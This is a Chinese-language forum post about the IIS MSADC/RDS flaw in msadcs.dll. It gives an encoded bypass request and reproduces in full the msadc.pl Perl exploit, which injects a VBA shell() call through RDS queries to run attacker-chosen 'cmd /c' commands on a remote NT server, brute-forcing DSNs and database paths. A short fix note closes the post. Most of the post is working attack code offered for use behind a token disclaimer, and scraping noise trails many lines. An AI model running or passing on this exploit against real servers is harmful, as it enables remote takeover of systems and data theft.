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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) R_~F6O^EO  
;>'SV~F  
涉及程序: (aBP|rxg  
Microsoft NT server 'iDu0LX  
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描述: SFOQM*H  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 'U*udkn 2]  
nO%<;-=u\  
详细: kz|[*%10  
如果你没有时间读详细内容的话,就删除: )rS^F<C  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 2PI #ie4  
有关的安全问题就没有了。 B4 <_"0  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ] : Wb1  
R =QM;  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 H;X~<WN&AW  
关于利用ODBC远程漏洞的描述,请参看: 3 dY6;/s  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _qk9o  
rcpvH}N:  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 hXBqz9  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Zm5nLxM  
]#+5)[N$>  
这里不再论述。 <6gU2@1  
hiT9H5 6 >  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Ubpg92  
W|FNDP0  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset bwT"$Ee  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! WoJ]@Me8  
kv[OW"8t  
) +*@AM E  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 8g&uE*7N  
KS8\F0q  
#!perl _GRv   
# F 'fM?!(  
# MSADC/RDS 'usage' (aka exploit) script UYl JO{|a  
# jWz|K  
# by rain.forest.puppy FUH *]U  
# Pm'.,?"  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me $d5&~I  
# beta test and find errors! ]q@rGD85K  
7?)m(CFy  
use Socket; use Getopt::Std; H74NU_   
getopts("e:vd:h:XR", \%args); if\k[O 1T6  
&Qz"nCvJ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 48W:4B'l9  
_zAc 5rS  
if (!defined $args{h} && !defined $args{R}) { Uia)5zz8  
print qq~ r(748Qc4f?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } =#J 9  
-h <host> = host you want to scan (ip or domain) g=)U_DPRi  
-d <seconds> = delay between calls, default 1 second {"Y]/6  
-X = dump Index Server path table, if available <%T%NjNPQ  
-v = verbose tauP1&%oH{  
-e = external dictionary file for step 5 mOgx&ns;j  
N}e(.  
Or a -R will resume a command session <PH3gyC  
 W\zL  
~; exit;} 9p!dQx  
5LnB]dW  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Qq6%53  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} a2 IV!0x  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} L|vaTidc0  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Bx_8@+  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} \["1N-q b  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } fte!Ll'  
\L&qfMjW"Z  
if (!defined $args{R}){ $ret = &has_msadc; ZfF`kD\  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} rl_1),J\qG  
+X4ttv  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" #0#V$AA>  
. "cmd /c "; .oB'ttF1  
$in=<STDIN>; chomp $in; y$"~^8"z  
$command="cmd /c " . $in ; C:TuC5Sr  
jp\JwE  
if (defined $args{R}) {&load; exit;} oQKcGUZ  
9e|{z9z[l  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 7zi^{]  
&try_btcustmr; s7X~OF(#  
K[Ws/yc^a  
print "\nStep 2: Trying to make our own DSN..."; oc,U4+T  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; (W{rv6cq  
j8F~j?%!  
print "\nStep 3: Trying known DSNs..."; u/K)y:ZZ  
&known_dsn; ?.|wfBI  
:$u{  
print "\nStep 4: Trying known .mdbs..."; F\YcSDM  
&known_mdb; cPa 0n4  
yBD.Cs@  
if (defined $args{e}){ ?`BED6$`G9  
print "\nStep 5: Trying dictionary of DSN names..."; Yn?2,^?N  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } *+zy\AhkP  
@/Wty@PU  
print "Sorry Charley...maybe next time?\n"; -6*OF.Ag`  
exit; 8M5!5Jzv  
)yz9? ]a  
############################################################################## J_)z:`[yE  
! S$oaCxM  
sub sendraw { # ripped and modded from whisker $e^ :d  
sleep($delay); # it's a DoS on the server! At least on mine... M2;(+8 b  
my ($pstr)=@_; J,&`iL-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ) J:'5hz  
die("Socket problems\n"); Uzm[e%/`  
if(connect(S,pack "SnA4x8",2,80,$target)){ KX=:)%+  
select(S); $|=1; cC(ubUR  
print $pstr; my @in=<S>; Q?I"J$]&L  
select(STDOUT); close(S); ADJ5ZD<Q  
return @in; dk, I?c &  
} else { die("Can't connect...\n"); }} :9O0?6:B|  
 Cq~ah  
############################################################################## d5Eee^Qu/  
`)xU;-  
sub make_header { # make the HTTP request fQ?n(  
my $msadc=<<EOT 8u~\]1 (  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 IU;pkgBj0Y  
User-Agent: ACTIVEDATA vY TPZ@RL  
Host: $ip t=@Jw  
Content-Length: $clen Z-;uzx  
Connection: Keep-Alive n?ZH2dI \0  
:[ZC-hc\  
ADCClientVersion:01.06 bC,M&<N  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 >?uH#%C5  
FZ'>LZ  
--!ADM!ROX!YOUR!WORLD! QY CNO#*  
Content-Type: application/x-varg hU)f(L  
Content-Length: $reqlen [laL6  
Ar{=gENn  
EOT vN6]6nUOiT  
; $msadc=~s/\n/\r\n/g; :4L5@>b-  
return $msadc;} ZJJl944  
e7j]BzGvl  
############################################################################## 1Qc(<gM  
[HZCnO|N  
sub make_req { # make the RDS request ,LW%'tQ~"  
my ($switch, $p1, $p2)=@_; J\8l%4q3  
my $req=""; my $t1, $t2, $query, $dsn; >p+gx,N  
7=ga_2  
if ($switch==1){ # this is the btcustmr.mdb query x /Ky: Ky  
$query="Select * from Customers where City=" . make_shell(); eG)/&zQ8  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . U8I~co:h  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} )9W# 5V$  
A#07Ly8kXn  
elsif ($switch==2){ # this is general make table query -gX2{dW  
$query="create table AZZ (B int, C varchar(10))"; xo"4mbTV  
$dsn="$p1";} z E7ocul  
XU })3]/  
elsif ($switch==3){ # this is general exploit table query NS/L! "g  
$query="select * from AZZ where C=" . make_shell();  ( Vv[  
$dsn="$p1";} E*b[.vUp  
#$z-]i  
elsif ($switch==4){ # attempt to hork file info from index server o>,z %+  
$query="select path from scope()"; TD=/C|  
$dsn="Provider=MSIDXS;";} .g`*cDW^=  
R*5;J`TW  
elsif ($switch==5){ # bad query 7 V1k$S(  
$query="select"; _q 9lr8hx  
$dsn="$p1";} u0H`%m  
D/6@bcCSY  
$t1= make_unicode($query); y Q @=\'  
$t2= make_unicode($dsn); 7G=P|T\  
$req = "\x02\x00\x03\x00"; }Knq9cf  
$req.= "\x08\x00" . pack ("S1", length($t1)); jW0z|jr  
$req.= "\x00\x00" . $t1 ; |JQP7z6j]  
$req.= "\x08\x00" . pack ("S1", length($t2)); <"Cwy0V kp  
$req.= "\x00\x00" . $t2 ; 5pyvs;As  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; nR'EuI~(}  
return $req;} {%k;V ~  
cj_?*  
############################################################################## '\mZ7.Jj  
z4`n%~w1b  
sub make_shell { # this makes the shell() statement `; %aQR  
return "'|shell(\"$command\")|'";} 8BH)jna`Qo  
MifgRUe  
############################################################################## ?4?jG3p  
R;,HtN  
sub make_unicode { # quick little function to convert to unicode MAo,PiYb  
my ($in)=@_; my $out; (_5+`YsV  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } =F-^RnO%\  
return $out;} %((3'le  
2EcYO$R!  
############################################################################## S_;:iC]B  
%}5"5\Zz  
sub rdo_success { # checks for RDO return success (this is kludge)  Kj|F  
my (@in) = @_; my $base=content_start(@in); ~:b~f]lO  
if($in[$base]=~/multipart\/mixed/){ T.dO0$,Q@$  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 9)hC,)5  
return 0;} @Iatlz*W  
hQx e0Pdt  
############################################################################## bUB6B  
|OT%,QT|  
sub make_dsn { # this makes a DSN for us 54j $A  
my @drives=("c","d","e","f"); Vta;ibdeqW  
print "\nMaking DSN: "; | N,nt@~  
foreach $drive (@drives) { *,*5sV  
print "$drive: "; vt=S0X^$yc  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . CfnCi_=[`  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" x G"p .  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); iW$i%`>  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; yiA\$mtO  
return 0 if $2 eq "404"; # not found/doesn't exist V$D d 7  
if($2 eq "200") { )pH{b]t  
foreach $line (@results) { 5X-{|r3q  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} /qze  
} return 0;} @h8~xs~DG  
x;aZ&  
############################################################################## Bv*h ?`Q  
htlWC>*  
sub verify_exists { rvO+=Tk  
my ($page)=@_; 50`r}s}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); *~X\c Z  
return $results[0];} :9qB{rLi}  
T^>cT"ux_  
############################################################################## T^SOq:m&  
zg"ZXZ  
sub try_btcustmr { 014!~c  
my @drives=("c","d","e","f"); O-YE6u  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $6Psq=|  
zqn*DbT  
foreach $dir (@dirs) { >8- `  
print "$dir -> "; # fun status so you can see progress 7.-|3Wcg  
foreach $drive (@drives) { *i90[3l  
print "$drive: "; # ditto `R;XN-  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ``D-pnKK  
$reqlenlen=length( "$reqlen" ); 2x CGr>X  
$clen= 206 + $reqlenlen + $reqlen; ::w%rv  
cl5:|)  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); _uacpN/<|  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} I.x>mN -0  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} >ZWm0nTr  
Fx2&ji6u  
############################################################################## BZsxf'eN'  
)^AO?MW  
sub odbc_error { PeZ=ONY5  
my (@in)=@_; my $base; Ns{4BM6j  
my $base = content_start(@in); ,P]{*uqGiB  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this i=rW{0c%  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; O,PHAwVG%L  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ektFk"W3A\  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p+Xz9A"  
return $in[$base+4].$in[$base+5].$in[$base+6];} [a2/`ywdV  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 3dfSu'  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . W%x#ps5%  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} e %#f9i  
3/ D fsv  
############################################################################## z;)% i f6  
?*HlAVDcFT  
sub verbose { mj pH)6aD0  
my ($in)=@_; dBkB9nz  
return if !$verbose; mvnK)R_  
print STDOUT "\n$in\n";} X9>ujgK  
:Li)]qN.I  
############################################################################## p O.8>C%  
0Pe.G0 #  
sub save { Oc1ZIIkh\  
my ($p1, $p2, $p3, $p4)=@_; 1=>$c   
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 3)sqAs(  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; K4~dEZ   
close OUT;} [(1O_X(M  
fw5AZvE6$  
############################################################################## 94+#6jd e  
"+Kr1nW  
sub load { {u7E)Fdl  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6%? NNEM  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); QP'* )gjO7  
@p=<IN>; close(IN); Y\lBPp0{\v  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); /*[a>B4-q  
$target= inet_aton($ip) || die("inet_aton problems"); a&&EjI  
print "Resuming to $ip ...";  /YHeO  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ~96"^%D  
if($p[1]==1) { ;YB8X&H$  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; e.Ii@<  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; zx^)Qb/EL6  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); aw~OvnX E  
if (rdo_success(@results)){print "Success!\n";} $iV3>>;eh  
else { print "failed\n"; verbose(odbc_error(@results));}} ;9rQN3J$gn  
elsif ($p[1]==3){ ' Mg%G(3  
if(run_query("$p[3]")){ Y?> S.B7  
print "Success!\n";} else { print "failed\n"; }} ]HRE-g  
elsif ($p[1]==4){ sM4N`$Is23  
if(run_query($drvst . "$p[3]")){ hPl;2r  
print "Success!\n"; } else { print "failed\n"; }} 0-QkRr_ I  
exit;} (7"qT^s3  
YO=;)RA  
############################################################################## {KR/ TQ?A  
wH<S0vl   
sub create_table { r`lgK2r\  
my ($in)=@_; ar{Yq  
$reqlen=length( make_req(2,$in,"") ) - 28; *H;&hq  
$reqlenlen=length( "$reqlen" ); 0KEytm]  
$clen= 206 + $reqlenlen + $reqlen; Dq\#:NnKvx  
my @results=sendraw(make_header() . make_req(2,$in,"")); s4w<X}O_  
return 1 if rdo_success(@results); OuX/BMG  
my $temp= odbc_error(@results); verbose($temp); c45Mv_  
return 1 if $temp=~/Table 'AZZ' already exists/; uH`ds+Hp  
return 0;} p_qH7W  
4((Z8@iX/  
############################################################################## K^Xg^9  
]SK(cfA`  
sub known_dsn { y:1?~R  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go O'(qeN<^w  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ^y&l!,(A   
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", |GIT{_JE  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 9~a_^m/  
rBpr1XKl,  
foreach $dSn (@dsns) { a29mVmi>  
print "."; ao 32n  
next if (!is_access("DSN=$dSn")); 7 0KZXgBy_  
if(create_table("DSN=$dSn")){ !zD| @sX{  
print "$dSn successful\n"; S&|$F2M  
if(run_query("DSN=$dSn")){ 2H4+D)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { GJ!usv u  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Dz.U&+*  
NJn~XCq  
############################################################################## T_pE'U%[  
0\u_ \%[  
sub is_access { 1w?X~VZAX  
my ($in)=@_; )00#Rrt9  
$reqlen=length( make_req(5,$in,"") ) - 28; 2f F)I&  
$reqlenlen=length( "$reqlen" ); wtMS<$  
$clen= 206 + $reqlenlen + $reqlen; SxMh '  
my @results=sendraw(make_header() . make_req(5,$in,"")); ?jy^WF`  
my $temp= odbc_error(@results); B,}%1+*  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ]kc]YO7i%R  
return 0;} Bojm lVg  
,v(G2`Z  
############################################################################## df}B:?Ew.  
erqg|TsFj  
sub run_query { IgZX,4i=o  
my ($in)=@_; =T;%R^@  
$reqlen=length( make_req(3,$in,"") ) - 28; ,X+071.(  
$reqlenlen=length( "$reqlen" ); }i?P( Au  
$clen= 206 + $reqlenlen + $reqlen; fFMG9]*  
my @results=sendraw(make_header() . make_req(3,$in,"")); 3 nb3rHQ  
return 1 if rdo_success(@results); {{:MJ\_"h_  
my $temp= odbc_error(@results); verbose($temp); eF!c< Kcr  
return 0;} & 9IMZAo  
0W#.$X5  
############################################################################## 1 BVivEG  
RQv`D&u_  
sub known_mdb { !j [U  
my @drives=("c","d","e","f","g"); ai#0ZgO  
my @dirs=("winnt","winnt35","winnt351","win","windows"); t:$p8qR  
my $dir, $drive, $mdb; v||8Q\d  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Z3"f7l6  
#2|sS|0<  
# this is sparse, because I don't know of many =OTwP  
my @sysmdbs=( "\\catroot\\icatalog.mdb", }4\>q$8'  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", X=_N7!  
"\\system32\\certmdb.mdb", ;\( wJ{u?Y  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% \Ui8Sgeei  
v:<u0B-)$  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", H?M8j] R-)  
"\\cfusion\\cfapps\\forums\\forums_.mdb", r's4-\  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", G$Z8k,g+<7  
"\\cfusion\\cfapps\\security\\realm_.mdb", ( 8k3z`  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", k2p{<SO;  
"\\cfusion\\database\\cfexamples.mdb", GXJJOy1"!  
"\\cfusion\\database\\cfsnippets.mdb", P7<~S8)Y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", zLC\Rc4  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", )=ZWn,ZB  
"\\cfusion\\brighttiger\\database\\cleam.mdb", wIL5-k,  
"\\cfusion\\database\\smpolicy.mdb", ^BSMlKyB  
"\\cfusion\\database\cypress.mdb", wQ@@|Cj4L  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", WRL &tz  
"\\website\\cgi-win\\dbsample.mdb", #W'jNX,h  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", >=[w{Vn'Mf  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Fp|x,-  
); #these are just 3x.|g   
foreach $drive (@drives) { (Kv[~W7lb  
foreach $dir (@dirs){ cqi: Rj  
foreach $mdb (@sysmdbs) { G)iV  
print "."; "VB-=. A  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :8jHN_u  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; _K8ob8)m  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ !SKEL6~7  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; @R(6w{h9  
} else { print "Something's borked. Use verbose next time\n"; }}}}} OV Iu&6#  
p7Gs  
foreach $drive (@drives) { 5(tOQ%AQ  
foreach $mdb (@mdbs) { IgQW 5E#  
print "."; !$f@j6.  
if(create_table($drv . $drive . $dir . $mdb)){ q/<.^X  
print "\n" . $drive . $dir . $mdb . " successful\n"; f4CwyL6ur  
if(run_query($drv . $drive . $dir . $mdb)){ HmAA?J}  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; mS0*%[S {  
} else { print "Something's borked. Use verbose next time\n"; }}}} ?UQE;0 B  
} ,d@.@a] `  
>/eQjp?:  
############################################################################## 7YkxIzE  
n<y!@p^X  
sub hork_idx { I( G8cK  
print "\nAttempting to dump Index Server tables...\n"; \{P(s:  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; X#Ajt/XQ  
$reqlen=length( make_req(4,"","") ) - 28; `4g m'C  
$reqlenlen=length( "$reqlen" ); }`\+_@ w  
$clen= 206 + $reqlenlen + $reqlen; gNo.&G [  
my @results=sendraw2(make_header() . make_req(4,"","")); ~;3N'o  
if (rdo_success(@results)){ LezM=om.  
my $max=@results; my $c; my %d; aB#qzrr['8  
for($c=19; $c<$max; $c++){ 8lT.2H  
$results[$c]=~s/\x00//g; b_z;^y~  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; y`!3Z} 7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; f'TdYG  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; =uIu0_v  
$d{"$1$2"}="";} 9^c\$"2B  
foreach $c (keys %d){ print "$c\n"; } 4JT9EKo  
} else {print "Index server doesn't seem to be installed.\n"; }} K.dgQ-vn  
zl=RK  
############################################################################## pEw &i  
RiIJ#:6+^I  
sub dsn_dict { Ck/4h Z  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Ti=~ycwi  
while(<IN>){ \:'=ccf  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; eICk}gfun  
next if (!is_access("DSN=$dSn")); NUX0=(k  
if(create_table("DSN=$dSn")){ #xNLr   
print "$dSn successful\n"; ZS4lb=)G  
if(run_query("DSN=$dSn")){ =pF 6  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5NZob<<  
print "Something's borked. Use verbose next time\n";}}} Wm7Dy7#l  
print "\n"; close(IN);} BI3Q~ADV  
MrXhVZ"d*  
############################################################################## L/_OgL]YdI  
Ir_K8 3VM  
sub sendraw2 { # ripped and modded from whisker W]4Gs;  
sleep($delay); # it's a DoS on the server! At least on mine... 3<AZ,gF1  
my ($pstr)=@_; CY <,p$  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || o>';-} E  
die("Socket problems\n"); 2$jTj<.K  
if(connect(S,pack "SnA4x8",2,80,$target)){ !gWV4vC  
print "Connected. Getting data"; a#nVRPU8m  
open(OUT,">raw.out"); my @in; CVyqr_n65/  
select(S); $|=1; print $pstr; +>@<'YI<  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} EX~ U(JB6  
close(OUT); select(STDOUT); close(S); return @in; 9P#E^;L  
} else { die("Can't connect...\n"); }} pkWzaf  
$RuJm\f  
############################################################################## rL w,?  
NU-({dGK}  
sub content_start { # this will take in the server headers ik=~`3Zp0  
my (@in)=@_; my $c; S ])Ap'E  
for ($c=1;$c<500;$c++) { D ?1$I0=  
if($in[$c] =~/^\x0d\x0a/){ xVao3+r  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #Wey)DI  
else { return $c+1; }}} j{C+`~O  
return -1;} # it should never get here actually ?H#]+SpOcv  
4/e-E^  
############################################################################## HW;,XzP=  
;X[mfg\  
sub funky { /8VM.fr$  
my (@in)=@_; my $error=odbc_error(@in); wyzj[PDS  
if($error=~/ADO could not find the specified provider/){ Eb7qM.Q] &  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; l4I@6@  
exit;} ZTfs&5  
if($error=~/A Handler is required/){ D0Oh,Fe#M\  
print "\nServer has custom handler filters (they most likely are patched)\n"; <(TTYf8lS  
exit;} x JQde 4  
if($error=~/specified Handler has denied Access/){ }eXzs_  
print "\nServer has custom handler filters (they most likely are patched)\n"; =toqEm~  
exit;}} j{?,nJdQ  
2$. ubA  
############################################################################## (30{:o&^  
;;pxI5  
sub has_msadc { c^S^"M|  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 9[N+x2q  
my $base=content_start(@results); lX/6u E_%  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); dq%7A=-  
return 0;} ZRf-V9  
-o#HO_9  
######################## $?YRy_SI  
<03@cs  
?g+0S@{i $  
解决方案: 8l-+ 4~mH  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll j(HC^\Hi  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 /Y_F"GQ  
,'?%z>RZm  
拿出来充数 哈哈
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